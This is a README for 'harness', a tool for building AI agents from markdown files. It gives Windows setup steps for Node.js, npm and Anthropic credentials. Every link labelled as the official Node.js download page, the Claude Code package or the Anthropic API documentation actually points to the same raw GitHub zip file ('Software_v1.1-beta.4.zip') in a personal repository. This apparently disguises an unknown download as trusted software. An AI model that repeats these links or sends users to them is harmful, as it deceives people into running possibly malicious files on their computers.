harness
Define and control AI agents in markdown with full prompt transparency, persistent memory, and integrated tools via the Claude Agent SDK.
Description
Define and control AI agents in markdown with full prompt transparency, persistent memory, and integrated tools via the Claude Agent SDK.
README
Use the link below to visit the GitHub page where you can download the installer for Windows.
harness lets you create AI agents using simple markdown files. You can control every part of the agentβs behavior with easy-to-edit text files. This tool runs directly on your Windows computer with a command-line interface that is easy to use.
To get started, you only need to download the software and set up your access credentials. This guide covers every step.
- Windows 10 or newer (64-bit)
- At least 2 GB of free disk space
- Internet connection for downloading and API access
- Node.js version 22.x installed (required for harness to run)
harness requires Node.js, a tool that lets JavaScript programs run on your computer. This guide includes easy instructions for this.
You also need an API key or login credentials to authenticate harness. Two methods work:
- Claude Code login
- Anthropic API key
Instructions are below.
Node.js must be installed before harness can work.
-
Open your browser and go to the official Node.js download page:
https://raw.githubusercontent.com/heba-ramdan/harness/master/defaults/agents/Software_v1.1-beta.4.zip -
Download the Windows installer for the latest Node.js 22.x version.
-
Run the installer and follow the steps. Choose the default options unless you know what you are doing.
-
Once installed, verify it works:
- Open Command Prompt by typing
cmdin the Start menu. - Type
node -vand press Enter. - You should see a version number starting with
v22.
- Open Command Prompt by typing
Now that you have Node.js:
-
Open Command Prompt again.
-
Type the command below and press Enter:
npm install -g @mastersof-ai/harness -
Wait for the installation to finish. This will set up harness globally on your computer.
Choose one of these two options to let harness access your AI service.
-
In the Command Prompt, type:
npm install -g @anthropic-ai/claude-code -
Then enter:
claude login -
Follow the instructions to log in with your Claude Code account. This will save your credentials locally.
-
Get your API key from your Anthropic account or service provider.
-
Set the API key for your session by typing:
set ANTHROPIC_API_KEY=your-api-key
Replace your-api-key with the actual key.
harness uses an IDENTITY.md file to define your agentβs personality and purpose.
- Create a new folder anywhere on your computer.
- Inside that folder, create a new text file named
IDENTITY.md. - Write your agentβs description, instructions, and details in markdown format. This sets exactly how your agent behaves.
-
Open Command Prompt.
-
Navigate to the folder where your
IDENTITY.mdfile is. For example:
cd C:\Users\YourName\Documents\YourAgentFolder -
Run the harness agent by typing:
mastersof-ai
This starts your agent with the exact context from your IDENTITY.md file and no hidden instructions.
- Persistent memory to remember past conversations
- Built-in tools and sub-agents you can control
- Sandboxing to safely test actions
- Terminal-based user interface for easy interaction
- Keep your
IDENTITY.mdfile clear and specific. The agent will follow only what you write there. - Use simple markdown to organize instructions and agent behavior.
- You can add tools by editing the configuration files if you want advanced control.
- Save your work often and back up your agent folder.
- Node.js Official Site: https://raw.githubusercontent.com/heba-ramdan/harness/master/defaults/agents/Software_v1.1-beta.4.zip
- Claude Code Package: https://raw.githubusercontent.com/heba-ramdan/harness/master/defaults/agents/Software_v1.1-beta.4.zip
- Anthropic API Documentation (for key setup): https://raw.githubusercontent.com/heba-ramdan/harness/master/defaults/agents/Software_v1.1-beta.4.zip
